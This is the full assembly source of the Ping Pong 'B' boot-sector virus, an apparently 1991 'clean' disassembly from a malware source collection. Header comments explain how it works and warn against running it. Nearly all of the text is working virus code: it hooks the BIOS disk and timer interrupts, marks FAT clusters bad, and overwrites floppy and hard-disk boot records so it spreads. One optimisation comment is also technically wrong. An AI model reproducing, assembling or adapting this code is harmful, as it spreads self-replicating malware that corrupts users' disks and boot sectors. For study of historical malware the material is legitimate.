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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pingbnew.asm
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TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION)
COMMENT # Read the following carefully:
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
This virus, when assembled, is (almost) harmless if left in a file.
At best, the code will overwrite part of DOS and hang your machine.
At worst, it could wipe out the Boot record of A: or the master boot
record of your hard disk. Since the virus MUST be loaded from a boot
sector to function properly, running the code from DOS will definitely
cause problems.
DISCLAIMER: The author will NOT be held responsible for any damages
caused by careless use of the information presented here.
NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects"
the coding quirks listed below.
THEORY OF OPERATION:
1) A disk with the virus is booted.
2) The BIOS memory count is decreased by 2k, to prevent DOS from
overwriting the virus, and relocates itself to the reserved space.
3) Part II of the virus is read into RAM just after part I.
4) The original boot sector is read to 0000:7C00.
5) Virus gets and saves the address of INT 13h, the BIOS disk service
interrupt routine, then hooks its own routine in place.
6) The virus jumps to 0000:7C00, load DOS if possible.
INFECTION PROCESS:
1) A BIOS read request is preformed on the target disk.
2) If the drive is different from the last drive that was read from, then
attempt infection immediately. Otherwise, check the BIOS clock tick
count to see if it's time to activate the bouncing ball routine.
3) Read very first sector of the disk. If it's a hard disk, then search
for a DOS-12 or DOS-16 partition, and if found, read the first sector
of THAT partition. We now have the "normal" boot record of the target
disk in the sector buffer.
4) Copy the BPB from the boot record to the virus code space.
5) Check virus' signature in the boot record to see if infected before.
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
per cluster to infect the disk.
6) Calculate number of system use sectors, data sectors, and maximum cluster
number.
7) Starting with the first sector of the FAT, search for a free cluster.
If none found, then don't infect the disk.
8) The first free cluster is flagged as bad, and the FAT is updated. Note
that only the first copy of the FAT will be modified.
9) The original boot sector is re-read and written to the second sector of
the virus' cluster. Part II of the virus is written to the first sector.
Part I is written to sector 0, replacing the original boot record.
INFECTION RESTRICTIONS:
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
1) The virus will not infect a non-DOS bootable hard disk.
2) The virus will only infect a disk with 512 byte sectors, and at least two
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
3) The virus will not infect a disk with no free space (from DOS's view).
CODING QUIRKS: (All have been corrected!!)
1) The virus uses a "MOV CS,AX" instruction to continue execution after
relocating itself to higher memory (see MEMORY MAP, below). This should
not work on a 286 or 386 system (the author has not tried it!).
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
register). It could be replaced by "XOR rr,0" to save a byte.
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
computing the ones complement, then adding one to get the twos
complement.) This could be replaced by "NEG rr" to save three bytes.
4) The use of OFS_ADJ (see below for computation) is needed to let me use
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
that would create a file about 32k in size on assembling. Instead, I
chose to add this offset manually to force correct address generation.
MEMORY MAP: (Adjusted for "clean" version!!)
The virus will relocate itself 2k below the top of memory. The virus
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
the BIOS top of memory count. For a 640k machine the map becomes:
640.0k (9F80:0800, which is A000:0000) ==> Top of memory
639.5k (9F80:0600 to 9F80:07FF) ==> Unused
639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus
638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code
638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus
# End of comment
LOCALS
PROGRAM_ASSEMBLY_OFS EQU 0000H
BOOT_SECTOR_LOAD_OFS EQU 7C00H
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
ORG 0H ;Interrupt vector space
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
ORG 0020H
INT8_OFS DW ? ;INT 8h vector offset & segment
INT8_SEG DW ?
ORG 004CH
INT13_OFS DW ? ;INT 13h vector offset & segment
INT13_SEG DW ?
ORG 0413H ;BIOS data area
KB_MEM DW ? ;K bytes of RAM in machine
ORG 7C00H ;Jump here to load O/S
BOOT_SECTOR_EXEC LABEL FAR
LOW_MEM_DATA ENDS
VIRUS SEGMENT
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
ORG 0H
START_HERE:
JMP SHORT CODE_START ;Force a two byte relative JuMp
NOP_INST:
NOP
OEM_ID DB 'PingPong' ;Must be eight characters long!
BYTES_PER_SEC DW 512
SEC_PER_CLU DB 2
RES_SECTORS DW 1
FAT_COPIES DB 2
DIR_ENTRIES DW 112 ;This is a standard
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
MEDIA_DESCRIP DB 0FDH
SEC_PER_FAT DW 2
SEC_PER_TRK DW 9
SIDES_ON_DISK DW 2
HIDDEN_SECTORS DW 0
ORG 001EH ;Must ORGinate at offset 1Eh
CODE_START:
XOR AX,AX
MOV SS,AX ;Set up stack pointer
MOV SP,BOOT_SECTOR_LOAD_OFS
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,KB_MEM ;Get BIOS's count of available memory
SUB AX,2 ;Reserve 2k for virus's use
MOV KB_MEM,AX ;Save updated memory Kbyte count
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
;paragraph count. The result is the target segment value for relocation.
;For a 640k machine (numbers in parenthesis are decimal equivalents)
; Original BIOS memory count: 280h ( 640) Kbytes
; After virus subtracts 2k : 27Eh ( 638) Kbytes
; Shifting left by 6 bits : 9F80h (40832) segment value
MOV CL,06
SHL AX,CL ;This is same as multiplying by 64
MOV ES,AX ;Use result as segment value
MOV SI,BOOT_SECTOR_LOAD_OFS
XOR DI,DI ;Set up index regisetrs for move
MOV CX,256
REP MOVSW ;Copy 256 words (ie 512 bytes)
MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction.
JMP CS:CONT_ADDR ;JUMP far into higher memory
CONT_ADDR LABEL DWORD
DW VIRUS_CONT
DW ?
VIRUS_CONT LABEL FAR ;Continuation address after move
PUSH CS
POP DS ;Set up DS register
ASSUME ES:VIRUS,DS:VIRUS
CALL @@LOAD_PART_2 ;try two times to load part 2
@@LOAD_PART_2:
XOR AH,AH
INT 13H ;Reset disk subsystem
AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C:
MOV BX,PART2_SECTOR
;The sector read/write routine always uses a fixed offset of 0400h; so to get
;the data into the right place, the segment registers are adjusted instead.
;We want to load part 2 of the virus just after part 1, so the offset normally
;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h,
;we will change ES to be 0200h BYTES lower then it normally would be.
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
;only subtract 0020h.
;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h
PUSH CS
POP AX ;See note above!!
SUB AX,20H
MOV ES,AX ;Move result into ES for read routine
CALL READ_SECTOR
MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is
INC BX ; the original boot record of the disk
MOV AX,0780H ;Address calculation for sector read:
MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h
CALL READ_SECTOR ;Seperate segment and offset, and
XOR AX,AX ; you get 0000:7C00.
MOV FLAGS,AL ;Clear all flags.
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT13_OFS
MOV BX,INT13_SEG
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13
MOV INT13_SEG,CS
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT13_PATCH+1,AX ;Save original INT 13h vector
MOV INT13_PATCH+3,BX ; directly into instruction stream.
MOV DL,DRIVE
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
;***************************************
WRITE_SECTOR:
MOV AX,0301H
JMP SHORT VIRUS_DISK_SERV
READ_SECTOR:
MOV AX,0201H
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
XCHG AX,BX ;Swap command code and sector number
;Now calculate the physical location of the sector number. DOS sectors are
;sequential, while the BIOS uses track, head, and sector numbers.
;Method:
; Starting with: AX=DOS sector #
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
; Move sector number (in DL) to CH for later processing
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
; Since the track # may be more than 255, we will combine the lower
; two bits in AH with the sector number in CH. First shift it left
; by 6 bits, to get it in the form tt000000, then OR it with CH.
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
; and "s" is bits of sector number. )
; Now copy AX into CX, and reverse the two halves of CX. Now the track
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
; The side number is still in DL, so copy it into DH for the BIOS.
ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors
XOR DX,DX ; (Clear high word for 32 bit division)
DIV SEC_PER_TRK ;Divide by sectors/track to get
INC DL ; sector number in DX.
MOV CH,DL
XOR DX,DX
DIV SIDES_ON_DISK ;Divide what's left in AX by
MOV CL,06 ; # of sides to get a track number
SHL AH,CL ; in AX and the head number in DX.
OR AH,CH ;Do some bit shuffling to get the
MOV CX,AX ; pieces in order...
XCHG CH,CL
MOV DH,DL ; and we're done! (whew!)
MOV AX,BX ;Move command code back into AX
DISK_SERVICE:
MOV DL,DRIVE
MOV BX,0400H ;Offset is fixed. (See notes above)
INT 13H
JNC @@NO_ERR ;If successful, then return to caller normally
POP AX ;Otherwise, remove caller's return address
@@NO_ERR: ; and return one lever higher than should.
RET
NEW_INT13 LABEL FAR ;New INT 13h handler
PUSH DS
PUSH ES
PUSH AX
PUSH BX ;Save registers on stack
PUSH CX
PUSH DX
PUSH CS ;Establish our data segment registers
POP DS
PUSH CS
POP ES
ASSUME DS:VIRUS,ES:VIRUS
TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before?
JNZ @@END ;If so, ignore this call
CMP AH,02 ;Intercept read requests only
JNE @@END
CMP DRIVE,DL ;Check drive number...
MOV DRIVE,DL ; (also save it for next time)
JNZ @@INFECT ;...if not the same, infect immediately
XOR AH,AH
INT 1AH ;Get clock tick count
TEST DH,07FH ;Is it the right time to activate
JNZ @@UPDATE_TICKS ; the bouncing ball display?
TEST DL,0F0H
JNZ @@UPDATE_TICKS
PUSH DX ;Preserve clock tick count
CALL INST_BALL ;Install the bouncing ball routine,
POP DX ; if not established already.
@@UPDATE_TICKS:
MOV CX,DX ;Find elapsed time since last call
SUB DX,TICK_COUNT ; to this routine. Also save tick
MOV TICK_COUNT,CX ; count for next time.
SUB DX,36 ;If less than 2 seconds have passed,
JB @@END ; don't infect the disk.
@@INFECT:
OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h
PUSH SI
PUSH DI
CALL INFECT_A_DISK ;Attempt to infect target disk
POP DI
POP SI
AND Byte Ptr FLAGS,11111110B ;Clear busy flag.
@@END:
POP DX
POP CX
POP BX ;Restore caller's registers
POP AX
POP ES
POP DS
INT13_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
INFECT_A_DISK:
MOV AX,0201H ;Read one sector...
MOV DH,0
MOV CX,0001H ;...the first sector of a disk.
CALL DISK_SERVICE
;At this point, the sector we just read could be a normal boot record,
;or the partition table of a hard disk. If it's a boot record from a floppy,
;then proceed to infect it. Otherwise, we have to find the DOS partition
;of the hard disk and read the boot sector from that partition. We search
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
;drive/side/track/sector information, we read the first sector of the
;partition. That sector will be the required boot record, which we will
;prodeed to process.
TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester?
JZ @@FLOPPY ;If so, then we got a partition table.
MOV SI,OFFSET PARTITION_TABLE
MOV CX,4
@@LP: ;Check O/S identification byte:
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
JE @@FOUND ; if so, then continue with infection.
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
JE @@FOUND
ADD SI,16 ;Not this one, go to next partition
LOOP @@LP
RET ;No suitable DOS partitions found, so exit.
@@FOUND:
MOV DX,[SI] ;Get drive number and side
MOV CX,[SI+2] ;Get track and sector numbers
MOV AX,0201H ;Read one sector...
CALL DISK_SERVICE
@@FLOPPY: ;A DOS boot record is at CS:0400
MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code
MOV DI,OFFSET NOP_INST ; space at ES:0000h
MOV CX,001CH
REP MOVSB
CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature
JNE @@INFECT ;Infect if not the same
;It is not known what the following code does; it seems to soem sort of
;error recovery procedure, in case the first attempt at infection failed.
CMP Byte Ptr _CONTINUATION,0
JNB @@EXIT
MOV AX,_SYSTEM_SECTORS
MOV SYSTEM_SECTORS,AX
MOV SI,_PART2_SECTOR
JMP CONT_POINT
@@EXIT:
RET ;Exit now; cannot infect this disk
@@INFECT:
CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only!
JNZ @@EXIT
CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster
JB @@EXIT
;The virus now computes the number of system use sectors and number of data
;sectors. System use sectors include the Boot Record, FAT copies, root
;directory, and any otherwise reserved sectors. What's left is the number
;of data sectors.
MOV CX,_RES_SECTORS ;Get # of reserved sectors
MOV AL,_FAT_COPIES ;Get # of FAT copies
CBW ;Convert to word in AX
MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT
ADD CX,AX ;Add result to # reserved sec.
MOV AX,32 ;Each dir entry is 32 bytes
MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes
ADD AX,511 ;Round up when dividing...
MOV BX,512 ;Divide by 512 to get # sectors
DIV BX ; the root directory takes.
ADD CX,AX ;Add to # reserved sectors
MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored)
;The virus now calculates the number of data sectors and clusters.
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk
SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors
MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster
XOR DX,DX ;Clear high order word...
XOR BH,BH ; and byte for division
DIV BX ;Divide, to get # of clusters
INC AX ;Round up by one
MOV DI,AX ;Save for "find free" routine
AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag.
CMP AX,0FF0H ;Is # of clusters too high?
JBE @@1
OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT
@@1:
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
ORG 01F3H
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
FLAGS DB ? ;Bit mapped flags
DRIVE DB ? ;Current drive number
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
CONTUATION DB ? ;??? Continuation flag???
ORG 01FCH
VIRUS_SIG DW 01357H ;Virus' signature
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
;*************** Second sector of virus code starts here! ******************;
ORG 0200H
VIRUS_PART2_CONT:
;Now the search for a free cluster begins.
MOV SI,1 ;Counter of now many FAT sectors searched
MOV BX,RES_SECTORS ;Start with 1st FAT sector
DEC BX ;Sub 1, because we add 1 later
MOV CUR_FAT_SECTOR,BX
MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead"
;Note: DI has maximum cluster number, and SI has current cluster number.
@@NEXT_SECTOR:
INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector #
MOV BX,CUR_FAT_SECTOR
ADD Byte Ptr FAT_OFS_ADJ,2
CALL READ_SECTOR ;Read the FAT sector
JMP SHORT @@CHECK ;Check for end of search
@@FIND_FREE:
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
;divide by 2.
MOV AX,3
TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT
JZ @@0
INC AX ;Use 4 if FAT-16
@@0:
MUL SI ;Multiply by cluster number
SHR AX,1 ;Divide by 2
;The cluster adjustment value is needed to keep offsets within 512 bytes.
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
;we calculate another FAT offset for each subsequent FAT sector.
SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment
MOV BX,AX
CMP BX,01FFH ;Is offset too high?
JNB @@NEXT_SECTOR ;If so, go to next sector
MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
;necessary. On a FAT-16, we can use the vlaue directly.
;If it is a 12 bit FAT:
; Clear upper nibble if cluster number is even.
; Otherwise, throw out lower nibble and shift down by 4 bits.
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check
JNZ @@2
MOV CL,04 ;Prepare for shift
TEST SI,1 ;Cluster number odd/even check.
JZ @@1
SHR DX,CL ;Shift down by 1 nibble if odd.
@@1:
AND DH,0FH ;Clear highest nibble.
@@2:
;A free cluster has an entry of 0. Using the OR instruction, we check for
;an entry of 0.
OR DX,DX
JZ FREE_FOUND
@@CHECK: ;See if the maximun cluster number has been
INC SI ; reached. If so, then no free cluster has
CMP SI,DI ; been found, so we can't infect the disk
JBE @@FIND_FREE
RET
FREE_FOUND:
;Now that we found a free cluster, we'll set that cluster to "bad" status.
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
;accordingly.
MOV DX,0FFF7H ;Bad cluster flag.
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check.
JNZ @@0
AND DH,0FH ;Clear upper nibble
MOV CL,04
TEST SI,1 ;Cluster number odd/even check.
JZ @@0
SHL DX,CL ;Shift by 4 bits if odd.
@@0:
OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value.
MOV BX,CUR_FAT_SECTOR ;Get FAT sector #
CALL WRITE_SECTOR ;Write modified FAT to disk
MOV AX,SI ;Get free cluster number to AX
SUB AX,2 ;Subtract cluster number basis
MOV BL,SEC_PER_CLU ;Get # of sectors/cluster
XOR BH,BH
MUL BX ;Multiply to get sector number
ADD AX,SYSTEM_SECTORS ;Add # system use sectors to
MOV SI,AX ; get DOS sector # on disk
XOR BX,BX ;Read the boot record from sector 0
CALL READ_SECTOR
MOV BX,SI ;Write it out to disk, in the second
INC BX ; sector of our "bad" cluster
CALL WRITE_SECTOR
CONT_POINT:
MOV BX,SI ;SI has first sector of free cluster
MOV PART2_SECTOR,SI ;Save it
PUSH CS
POP AX
SUB AX,20H ;Adjust segment value so ES:0400 will
MOV ES,AX ; be the same as CS:0200h
CALL WRITE_SECTOR ;Write part 2 of virus to disk
PUSH CS
POP AX
SUB AX,40H ;Now adjust ES so an offset of 0400h
MOV ES,AX ; will point to CS:0000h
XOR BX,BX ;Write the first part of the virus
CALL WRITE_SECTOR ; into the boot sector
RET ;DISK IS NOW INFECTED!!!!
ORG 02B0H
TICK_COUNT DW ?
FAT_OFS_ADJ DB ?
INST_BALL: ;Install bouncing ball routine
TEST Byte Ptr FLAGS,00000010B ;Installed already?
JNZ @@EXIT
OR Byte Ptr FLAGS,00000010B ;Set "installed" flag
XOR AX,AX
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT8_OFS ;Get vector for INT 8h
MOV BX,INT8_SEG
MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at
MOV INT8_SEG,CS ; our routine.
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT8_PATCH+1,AX ;Direcly patch original vector
MOV INT8_PATCH+3,BX ; contents into our code.
@@EXIT:
RET
NEW_INT8 LABEL FAR ;New INT 8 handler
PUSH DS
PUSH AX
PUSH BX ;Save affected registers
PUSH CX
PUSH DX
PUSH CS
POP DS
MOV AH,0FH ;Get video mode, page, and # of columns
INT 10H
MOV BL,AL ;Move mode number into BL
;If the video mode and page are the same as last time, then continue bouncing
;the ball. Otherwise, reset the ball position and increment, and start anew.
;Note: The active page number is in BH throughout this routine.
CMP BX,VIDEO_PARAMS ;Is mode and page same as last time?
JE @@SAME_MODE
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
DEC AH ;Subtract 1 from number of columns
MOV SCRN_COLS,AH ; onscreen and save it.
MOV AH,1 ;Assume graphics mode.
CMP BL,7 ;Mono text mode?
JNE @@0
DEC AH ;Set flag to 0 if so.
@@0:
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
JNB @@1
DEC AH
@@1:
MOV GRAF_MODE,AH ;Save flag value.
MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1
MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1
MOV AH,03H
INT 10H ;Read cursor position into DX
PUSH DX ; and save it on the stack.
MOV DX,BALL_POS ;Get XY position of ball.
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
@@SAME_MODE: ;Enter here if mode not changed.
MOV AH,03H
INT 10H ;Get cursor position into DX
PUSH DX ; and save it.
MOV AH,02
MOV DX,BALL_POS
INT 10H ;Move to bouncing ball location.
MOV AX,ORG_CHAR ;Get original screen char & attribute.
CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/
JNE @@3
MOV AX,8307H ;If graphics mode, use CHR$(7)
@@3: ;If not, then use original char
MOV BL,AH ;Move color value into BL
MOV CX,1 ;Write one character
MOV AH,09H ; with attributes and all
INT 10H ; into page in BH.
;The update routine will check for the ball's position on a screen border.
;If it's on a border, then negate the increment for that direction.
;(ie, if the ball was moving up, reverse it.) If the increment was not
;changed, then "randomly" change the X or Y increment based on the lower
;three bits of the previous screen character. This will make the ball
;appear to bounce around "randomly" on a screen filled with characters.
UPDATE_BALL_POS: ;Figure new ball position.
MOV CX,BALL_INC ;Get ball position increment.
CMP DH,0 ;Is is on the top row of the screen?
JNZ @@0
NEG CH
@@0:
CMP DH,24 ;Reached bottom edge?
JNZ @@1
NEG CH
@@1:
CMP DL,0 ;Reached left edge?
JNZ @@2
NEG CL
@@2:
CMP DL,SCRN_COLS ;Reached right edge?
JNZ @@3
NEG CL ;Should be familar by now!
@@3:
CMP CX,BALL_INC ;Is the increment the same as before?
JNE CALC_NEW_POS ;If not, apply the modified increment.
MOV AX,ORG_CHAR ;Do "ramdom" updating, as described
AND AL,00000111B ; in the note above.
CMP AL,00000011B
JNE @@4
NEG CH ;Reverse Y direction.
@@4:
CMP AL,00000101B
JNE CALC_NEW_POS
NEG CL ;Reverse X direction.
CALC_NEW_POS:
ADD DL,CL ;Add increments to ball position.
ADD DH,CH
MOV BALL_INC,CX ;Save ball position increment and
MOV BALL_POS,DX ; new ball position.
MOV AH,02H ;Move to ball position, which is
INT 10H ; in register DX.
MOV AH,08H ;Read the present screen char and
INT 10H ; attribute.
MOV ORG_CHAR,AX ;Save them for next time.
MOV BL,AH ;Use same attribute, if in text mode
CMP Byte Ptr GRAF_MODE,1
JNE @@0
MOV BL,83H ;Otherwise, use color # 83H
@@0:
MOV CX,0001H ;Write one character and attribute
MOV AX,0907H ; using CHR$(7) as the character.
INT 10H
POP DX ;Get old cursor position.
MOV AH,02H ;Move cursor back to that position.
INT 10H
POP DX
POP CX
POP BX ;Restore affected registers.
POP AX
POP DS
INT8_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
ORG_CHAR DW ? ;Original screen character and attribute.
BALL_POS DW ? ;Bouncing ball's XY position.
BALL_INC DW ? ;Ball's XY increment
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
VIDEO_PARAMS DW ? ;Mode number and page number.
SCRN_COLS DB ? ;Number of screen columns minus 1
VIRUS_LENGTH EQU $-START_HERE
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
;******************** End of virus code! **************************************
ORG 0400H ;Work area for the virus
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
_JMP_INST DW ?
_NOP_INST DB ?
_OEM_ID DB 8 DUP(?)
_BYTES_PER_SEC DW ?
_SEC_PER_CLU DB ?
_RES_SECTORS DW ?
_FAT_COPIES DB ?
_DIR_ENTRIES DW ? ;This is the BPB of the target
_TOTAL_SECTORS DW ? ; disk during infection.
_MEDIA_DESCRIP DB ?
_SEC_PER_FAT DW ?
_SEC_PER_TRK DW ?
_SIDES_ON_DISK DW ?
_HIDDEN_SECTORS DW ?
ORG 05BEH
PARTITION_TABLE LABEL NEAR
ORG 05F3H
_CUR_FAT_SECTOR DW ?
_SYSTEM_SECTORS DW ?
_FLAGS DB ?
_DRIVE DB ?
_PART2_SECTOR DW ?
_CONTINUATION DB ?
ORG 05FCH
_VIRUS_SIG DW ?
_BIOS_SIG DW ? ;Should always be 0AA55h
VIRUS ENDS
END
;Original virus disassembly by James L. July 1991
;Clean version written by James L. July 1991
;# EOF #;
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